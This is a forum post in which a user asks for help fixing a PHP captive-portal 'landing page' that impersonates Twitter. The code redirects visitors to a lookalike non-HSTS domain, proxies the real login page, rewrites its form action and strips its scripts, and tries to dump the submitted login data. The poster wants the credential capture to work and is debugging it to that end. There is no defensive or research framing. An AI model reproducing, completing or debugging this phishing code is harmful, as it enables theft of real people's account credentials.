Jump to content

meatball

Members
  • Posts

    3
  • Joined

  • Last visited

Posts posted by meatball

  1. Hey guys, I've ran into a bit of trouble, could some kind soul help me out please?
    I'm unable to access POST and GET variables from within the landing page's php if there is a path specified in the URL that isn't "index.php"

    Example landing page code below, var_dump($_POST) on line 12 returns an empty array despite the form sending the data: post-52452-0-87909700-1452343984_thumb.p

    <?php 
    if(!strstr($_SERVER['HTTP_HOST'],"twitter") && !strstr($_SERVER['HTTP_HOST'],"twimg") )
    {
    	/* If not visiting twitter, redirect to non-HSTS twitter domain */
    	die('<meta http-equiv="refresh" content="0; url=http://twitter.co.uk/">'); 
    } else { 
    
    	/* form posts to http://twitter.co.uk/sessions  */
    	if(strstr($_SERVER['REQUEST_URI'], "/sessions")) 
    	{   
                    /* var_dump($_POST) returns an empty array, should print login data */
    		var_dump($_POST); die(); 
    	}
    	
    	/* Curl the site */
    	$curl = curl_init();
    	curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
    	curl_setopt($curl, CURLOPT_URL, $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
    	curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 
    
    	$result = curl_exec($curl);
    	$result = str_replace('https://twitter.com', 'http://twitter.co.uk', $result);  /* changes the form action */
    	$result = str_replace('<script', "<div style='display:none'><!--", $result);  
    	$result = str_replace('</script', "--></div", $result);  			
    
    	echo $result;
    }
    ?>
    

    if I make the form post to http://twitter.co.ukdirectly, without the /session - they are accessible from the landing page, but I would really like to be able to access them even with other filepaths.

×
×
  • Create New...